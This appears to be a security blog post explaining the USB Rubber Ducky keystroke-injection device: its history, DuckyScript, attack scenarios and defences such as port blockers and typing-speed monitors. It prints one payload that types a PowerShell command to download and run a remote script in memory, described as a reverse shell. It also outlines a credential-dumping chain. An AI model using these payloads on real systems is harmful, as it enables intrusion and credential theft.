Why USB Rubber Ducky Matters in Modern Security
It is worth knowing what pentesting tools are and what they look like – especially in case someone on the wrong side of the barricade decides to use them inside our organization. Devices that appear harmless at first glance can, in reality, exploit fundamental assumptions built into operating systems and hardware interfaces.
In this part of the series, we focus on a device that can be found in the field kit of virtually every professional pentester: USB Rubber Ducky.
USB Rubber Ducky is just one example of how physical attack tools can bypass technical safeguards – a broader overview of similar devices can be found in our pentesting tools overview, where we analyze hardware commonly used in real-world assessments.
Code Debugging and “Rubber Ducking”
In software engineering, rubber duck debugging is a method of debugging code by articulating a problem in spoken or written natural language. The name comes from a story in The Pragmatic Programmer, where a developer carried a rubber duck and debugged code by explaining it line by line to the duck. When you describe what the code is supposed to do and observe what it actually does, inconsistencies become apparent. More broadly, teaching a subject forces evaluation from different perspectives and can provide deeper understanding. This method is a form of “thinking out loud,” a procedure recognized as an effective way to accelerate problem solving.
USB Rubber Ducky and the Rise of Keystroke Injection Attacks
At the foundations of computer science – unchanged since its inception – lies an assumption based on trust. Basic input/output signal exchange relies on trust placed in Human Interface Devices (HID). A human trusts that there is a computer behind the monitor, and the computer trusts that the keyboard represents a human user. The creators of the BadUSB class of attacks decided to exploit exactly this trust model.
USB Rubber Ducky is a device that, in 2010, introduced the keystroke injection attack into the landscape of practical security threats. Since then, it has become a mandatory tool in professional penetration testing. The idea behind its creation was simple: build a solution that is easy to customize, does not require a complex development environment, avoids writing C code, and does not involve firmware modification. Hak5 achieved this by designing the first original “Rubber Ducky.” The device evolved directly from the earlier Switchblade USB project but offered a simpler workflow, broader accessibility, a polished form factor, and commercial availability. Importantly, it preserved the original concept of script-based payloads loaded via a microSD card.
From the outside, USB Rubber Ducky looks like an ordinary USB flash drive. In reality, it behaves like an automated keyboard capable of typing at over 1,000 words per minute – far beyond human capabilities.
USB Rubber Ducky looks like a regular USB flash drive, but it functions as a programmable HID attack device.
How USB Rubber Ducky Works as a BadUSB Device
The USB Rubber Ducky is a dedicated keystroke injection attack tool that automatically executes code on a target computer as soon as it is connected. It achieves this by impersonating an HID device such as a keyboard or mouse.
Once plugged in, the device injects predefined sequences of keystrokes, keyboard shortcuts, and commands stored on its microSD card. From the operating system’s perspective, these actions are indistinguishable from legitimate user input.
The practical effect is simple and dangerous: the user unknowingly allows an attacker to type commands using their own keyboard context.
BadUSB Beetle
Since USB Rubber Ducky appeared on the market in 2010, numerous substitutes of varying quality and design approaches have emerged – for example, BadUSB Beetle, which is an Arduino Leonardo board using the ATmega32U4 controller. Arduino is a well-known open-hardware platform used for learning electronics fundamentals while also offering significant construction capabilities.
The original USB Rubber Ducky has many advantages over its substitutes, but alternatives also have benefits – primarily much lower cost. Initially, the “Ducky” cost $45; today it costs $100 (excluding shipping). Substitute devices typically cost only a few dollars – up to around $8 for higher-quality boards. These substitutes are also noticeably smaller than the original USB Rubber Ducky, especially those without additional flash memory or a microSD slot (meaning they can only function as a keyboard and cannot store files).
While USB Rubber Ducky focuses on HID-based attacks, other pentesting tools, such as WiFi Pineapple, target wireless trust assumptions, demonstrating how different attack vectors exploit equally fundamental design decisions.
Hardware Design and Evolution of USB Rubber Ducky
The first generation of USB Rubber Ducky consisted of a microcontroller board built around a 60 MHz, 32-bit AT32UC3B1256 chip. It included a USB-A connector, a seven-pin JTAG interface that could also function as an I/O port, and a microSD card slot supporting SDHC.
This design enabled pentesters to carry multiple payloads and quickly switch attack scenarios by swapping microSD cards. The modern version of USB Rubber Ducky expands on this idea by introducing USB-C connectivity, enabling attacks against a wider range of targets – from desktop systems to mobile devices.
In addition to the USB-C connector, the device gained several new features. It uses a new data exfiltration path that bypasses endpoint restrictions, firewalls, and security gaps. It also mimics human typing behavior, while filesystem spoofing hides acquired files and injections. It can even detect mass storage activity to identify device interaction.
The device offers a passive operating system and desktop or mobile device identification in as little as one second, enabling target-specific payload deployment. After modernization, it can also bypass endpoint countermeasures by cloning hardware identifiers – impersonating the vendor ID and product ID of any USB device, as well as manufacturer, serial number, and product strings, using a single command. Hak5 also introduced dynamic attack modes, allowing the device to impersonate virtually any USB device. Using the well-known attackmode command, device emulation can be changed on the fly to mimic any combination of keyboard and mass storage.
The hardware itself is intentionally simple. What makes USB Rubber Ducky powerful is not its construction, but what it can be programmed to do.
Programming USB Rubber Ducky with DuckyScript
USB Rubber Ducky is programmed using DuckyScript, a simple scripting language designed specifically for keystroke injection. The script is compiled into a format understood by the controller and stored on the microSD card.
A basic payload might download and execute a PowerShell script directly in memory, avoiding any writes to disk and leaving minimal forensic traces. This makes USB Rubber Ducky particularly effective in environments with limited endpoint monitoring.
DuckyScript commands such as DELAY, GUI, STRING, and ENTER map directly to human keyboard actions. The simplicity of the syntax is intentional – it allows rapid payload development without advanced programming knowledge.
An example script written in DuckyScript might look like this:
REM Download script
DELAY 1000
GUI r
STRING powershell \
"IEX (New-Object \
Net.WebClient).DownloadString
('https://goodserver/\
definitelynotbad.ps1');"
ENTER
The URL address should be replaced with the address of the server hosting the payload. The above script loads a reverse shell directly into PowerShell memory without writing anything to disk, leaving no traces.
As shown, DuckyScript syntax is very simple. Commenting code is a good practice and is done using the REM parameter. The second command, DELAY, instructs the USB device to wait for 1000 milliseconds (the reason for this value is discussed in the Intelligent Delays section). This delay gives the target computer time to recognize the USB Rubber Ducky as a keyboard before it begins typing. GUI r corresponds to pressing the Windows key together with r, opening the Run dialog. STRING enters text “from the keyboard,” and ENTER simulates pressing the Enter key.
By default, the device reads only a single complex keyboard simulation script from the memory card. However, it can be freely reprogrammed to, for example, store files exfiltrated from the computer or vary its behavior depending on the target system it is connected to. It is also possible to programmatically change the device’s VID and PID identifiers so that it impersonates a specific keyboard model from a particular manufacturer. This is especially useful in corporate environments that employ advanced endpoint protections, block USB ports, and allow only selected device types.
Duckyscript Scripting Language
DuckyScript is a macro scripting language. It sequentially processes one of two actions: keystroke injection (typing key combinations) and delay (temporary pause). These actions, written into a payload, instruct USB Rubber Ducky what to do – either type or wait.
Over the years, DuckyScript evolved to include device-specific commands. With the introduction of another pentesting device – Bash Bunny – in 2017, DuckyScript was coupled with the BASH shell scripting language. Using a Linux base, these DuckyScript payloads enabled multivector USB attacks. DuckyScript was also included in Shark Jack for Ethernet network probing. Key Croc uses DuckyScript 2.0 to conduct numerous hot-plug attacks based on keylogging data.
With the release of the new USB Rubber Ducky in 2022, DuckyScript 3.0 was introduced – a feature-rich, structured programming language. It includes all previously available commands and features of the original DuckyScript. Additionally, DuckyScript 3.0 introduces control flow constructs (if/then/else), loops (while), functions, and extensions. It also adds many automation-specific features for keystroke injection, such as HID and storage attack modes, keystroke reflection, jitter, and randomization.
Why Keystroke Injection Is So Effective
As an HID device, USB Rubber Ducky benefits from the implicit trust computers place in keyboards. Operating systems assume that keystrokes originate from a human user and therefore grant them a wide range of capabilities by default.
Payloads stored on the microSD card can mimic trusted users by injecting keystrokes at superhuman speed. One common scenario involves loading credential-dumping tools such as Mimikatz directly into memory using PowerShell reflection techniques.
In such an attack, the payload opens an elevated command prompt, bypasses User Account Control (UAC), hides input, downloads the necessary tools from a remote server, executes them in memory, and exfiltrates credentials – all within roughly 15 seconds.
This means an attacker only needs a brief distraction to compromise an unattended workstation.
Visually indistinguishable from a standard USB drive, USB Rubber Ducky exploits built-in trust in USB devices.
Beyond Credential Theft: Attack Scenarios
Credential theft is only one example of what keystroke injection enables. USB Rubber Ducky can be used for a wide range of malicious activities, including destructive actions such as file deletion or network reconnaissance tasks like traffic sniffing.
At the same time, the same capabilities can be repurposed for legitimate use. In non-malicious scenarios, USB Rubber Ducky can automate repetitive workflows, deploy predefined system configurations, or quickly prepare development environments on new machines.
Similar to multi-purpose devices like Flipper Zero, USB Rubber Ducky shows how compact hardware can combine physical access with logical attacks, often bypassing controls that focus solely on software threats.
Defending Against USB Rubber Ducky Attacks
Because BadUSB devices operate at speeds impossible for humans to achieve, defending against them in real time is challenging. One common mitigation is the use of physical USB port blockers, which prevent unauthorized devices from being connected. However, these blockers can be physically removed if endpoints are not properly monitored.
Another option is specialized software that monitors typing speed. Some programs, such as DuckHunter, are designed to run in the background and closely observe keystroke rates. Because Rubber Ducky devices type at speeds virtually unattainable by humans, such software blocks keyboard input once a BadUSB attack is detected. The downside is that these programs require a few milliseconds to detect the attack. Depending on payload size, some content may be injected before the software intervenes. Moreover, after last year’s improvements, the “Ducky” can now mimic human typing to bypass this type of protection.
A mandatory configuration is also restricting access to elevated command-line privileges. Launching Command Prompt as an administrator unlocks a full set of actions that can be performed on the system. In Windows, elevated Command Prompt access can be obtained by typing CMD in the Run dialog and holding Ctrl + Shift + Enter. These keystrokes can be easily programmed into a Rubber Ducky. Requiring a password for elevated command-line access stops any “Rubber Ducky” programmed to seek administrative privileges in its tracks.
Intelligent Delays
Configuring delays in a payload is necessary because USB Rubber Ducky can inject keystrokes faster than the target system is ready to process them meaningfully. While the USB Rubber Ducky boots, processes, and begins execution almost instantly, the target must enumerate and configure the new USB HID device.
Since the earliest keystroke injection attacks and the beginnings of DuckyScript 1.0, convention dictated setting the DELAY parameter to 3000. Updates to DuckyScript introduced extensions – a concept borrowed from Bash Bunny. DuckyScript 3.0 includes logic required for programmatic decision-making and awareness of Lock key states, allowing payloads to wait exactly as long as necessary for reliable injection.
The Lock keys – Scroll Lock, Num Lock, and Caps Lock – are toggle keys that change key group behavior when enabled and revert it when pressed again, without carrying semantic meaning themselves. Using one of the DuckyScript 3.0 extensions – Detect_Ready – dynamically adjusts how long USB Rubber Ducky waits after boot before injecting keystrokes. The extension waits for a defined delay until the state of a selected Lock key is confirmed or an iteration limit is reached.
The minimum response delay is set by default to 25 ms – sufficient for Windows 10 to recognize the device and the lowest value that yields optimal speed without unnecessary iterations. Once Rubber Ducky confirms that the system recognizes a Lock key press, this serves as a sufficient indication that the host will accept further keystrokes sent by the device.
Using Keystroke Injection for Legitimate Automation
Understanding how keystroke injection works does more than help with defense. It also enables responsible reuse of the technique for automation and productivity.
Well-defined configuration workflows, automated system setup, and repeatable environment provisioning are all valid applications of keystroke injection when used ethically and transparently.
Final Thoughts
USB Rubber Ducky demonstrates how deeply trust is embedded in computing systems – and how easily it can be abused. Whether you approach it from a defensive, offensive, or automation-focused perspective, understanding keystroke injection is essential for anyone working with modern endpoints.
If you want to better understand how USB Rubber Ducky compares to other offensive tools used in assessments, we recommend starting with our complete guide to pentesting hardware, which puts these devices into a real operational context.
Ready to Build a Career in Cybersecurity?
